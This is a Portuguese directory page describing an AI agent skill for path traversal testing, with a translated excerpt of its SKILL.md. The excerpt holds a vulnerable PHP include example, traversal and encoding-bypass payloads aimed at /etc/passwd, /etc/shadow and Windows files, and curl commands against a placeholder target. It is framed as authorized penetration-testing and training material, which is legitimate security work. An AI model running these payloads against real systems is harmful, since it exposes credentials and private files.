Pular para o conteúdo
Skillpedia
Segurança48 mil · #2998

file-path-traversal

Identifica falhas de segurança que permitem ler arquivos sensíveis no servidor. Ajuda a encontrar e corrigir vulnerabilidades. Essencial para proteger dados e código.

O que ela faz

Esta ferramenta ajuda a encontrar e explorar uma falha de segurança chamada 'path traversal'. Essa falha permite que um invasor leia arquivos que não deveria ter acesso no servidor, como senhas ou códigos.

Quando usar

  • ✓Ao testar a segurança de um site ou aplicação.
  • ✓Para verificar se um site está protegido contra leitura de arquivos não autorizada.
  • ✓Em treinamentos de segurança para entender como essa falha funciona.

Exemplo do que pedir para a IA

“Verifique se o site 'exemplo.com' permite ler o arquivo '/etc/passwd' usando path traversal.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/file-path-traversal/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/file-path-traversal/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta tenta acessar arquivos no servidor usando sequências como '../' para sair de pastas esperadas. Ela testa diferentes combinações para ver se consegue ler arquivos sensíveis.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add sickn33/agentic-awesome-skills --skill file-path-traversal

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/file-path-traversal/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Portão de confirmação obrigatório Antes de qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo, solicite o URL, IP, conta ou recurso exato do alvo e a confirmação de autorização por escrito e escopo permitido. Mostre o(s) comando(s) exato(s), explique seu efeito esperado e aguarde a confirmação explícita na conversa atual. Sem essa confirmação, permaneça somente leitura e forneça apenas orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

Teste de Travessia de Caminho de Arquivo

Propósito

Identificar e explorar vulnerabilidades de travessia de caminho de arquivo (travessia de diretório) que permitem que atacantes leiam arquivos arbitrários no servidor, potencialmente incluindo arquivos de configuração sensíveis, credenciais e código-fonte. Essa vulnerabilidade ocorre quando a entrada controlável pelo usuário é passada para APIs do sistema de arquivos sem validação adequada.

Pré-requisitos

Ferramentas Necessárias

  • Navegador web com ferramentas de desenvolvedor
  • Burp Suite ou OWASP ZAP
  • cURL para testar payloads
  • Wordlists para automação
  • ffuf ou wfuzz para fuzzing

Conhecimento Necessário

  • Estrutura de requisição/resposta HTTP
  • Layout do sistema de arquivos Linux e Windows
  • Arquitetura de aplicações web
  • Compreensão básica de APIs de arquivo

Saídas e Entregáveis

  1. Relatório de Vulnerabilidade - Pontos de travessia identificados e severidade
  2. Prova de Exploração - Conteúdo de arquivo extraído
  3. Avaliação de Impacto - Arquivos acessíveis e exposição de dados
  4. Orientação de Remediação - Recomendações de codificação segura

Fluxo de Trabalho Principal

Fase 1: Entendendo a Travessia de Caminho

A travessia de caminho ocorre quando aplicações usam a entrada do usuário para construir caminhos de arquivo:

// Vulnerable PHP code example
$template = "blue.php";
if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {
    $template = $_COOKIE['template'];
}
include("/home/user/templates/" . $template);

Princípio de ataque:

  • A sequência ../ move para um diretório acima
  • Encadear múltiplas sequências para alcançar a raiz
  • Acessar arquivos fora do diretório pretendido

Impacto:

  • Confidencialidade - Ler arquivos sensíveis
  • Integridade - Escrever/modificar arquivos (em alguns casos)
  • Disponibilidade - Excluir arquivos (em alguns casos)
  • Execução de Código - Se combinado com upload de arquivo ou envenenamento de log

Fase 2: Identificando Pontos de Travessia

Mapear a aplicação para operações de arquivo potenciais:

# Parameters that often handle files
?file=
?path=
?page=
?template=
?filename=
?doc=
?document=
?folder=
?dir=
?include=
?src=
?source=
?content=
?view=
?download=
?load=
?read=
?retrieve=

Funcionalidades vulneráveis comuns:

  • Carregamento de imagens: /image?filename=23.jpg
  • Seleção de template: ?template=blue.php
  • Downloads de arquivo: /download?file=report.pdf
  • Visualizadores de documentos: /view?doc=manual.pdf
  • Mecanismos de inclusão: ?page=about

Fase 3: Técnicas Básicas de Exploração

Travessia de Caminho Simples

# Basic Linux traversal
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd

# Windows traversal
..\..\..\windows\win.ini
..\..\..\..\windows\system32\drivers\etc\hosts

# URL encoded
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd  # Double encoding

# Test payloads with curl
curl "http://target.com/image?filename=../../../etc/passwd"
curl "http://target.com/download?file=....//....//....//etc/passwd"

Injeção de Caminho Absoluto

# Direct absolute path (Linux)
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ

# Direct absolute path (Windows)
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\boot.ini

Fase 4: Técnicas de Bypass

Bypass de Sequências de Travessia Removidas

# When ../ is stripped once
....//....//....//etc/passwd
....\/....\/....\/etc/passwd

# Nested traversal
..././..././..././etc/passwd
....//....//etc/passwd

# Mixed encoding
..%2f..%2f..%2fetc/passwd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

Bypass de Validação de Extensão

# Null byte injection (older PHP versions)
../../../etc/passwd%00.jpg
../../../etc/passwd%00.png

# Path truncation
../../../etc/passwd...............................

# Double extension
../../../etc/passwd.jpg.php

…

Perguntas frequentes

O que é 'path traversal'?

É uma falha de segurança onde um atacante consegue acessar arquivos fora da pasta permitida em um servidor, usando sequências como '../' para 'subir' na estrutura de pastas.

Quais arquivos um atacante pode ler?

Dependendo do acesso, pode ler arquivos de configuração, senhas, código-fonte da aplicação, logs, ou outros dados sensíveis armazenados no servidor.

Preciso de permissão para usar esta ferramenta?

Sim, é crucial ter permissão explícita e por escrito do dono do sistema antes de usar esta ferramenta. O uso sem autorização é ilegal.

Detalhes

Descrição original do autor

Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code.

repo: sickn33/agentic-awesome-skills

Popularidade

Estrelas no GitHub
48 mil
Posição no ranking
#2998
Licença
MIT
Atualizada em
15/10/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas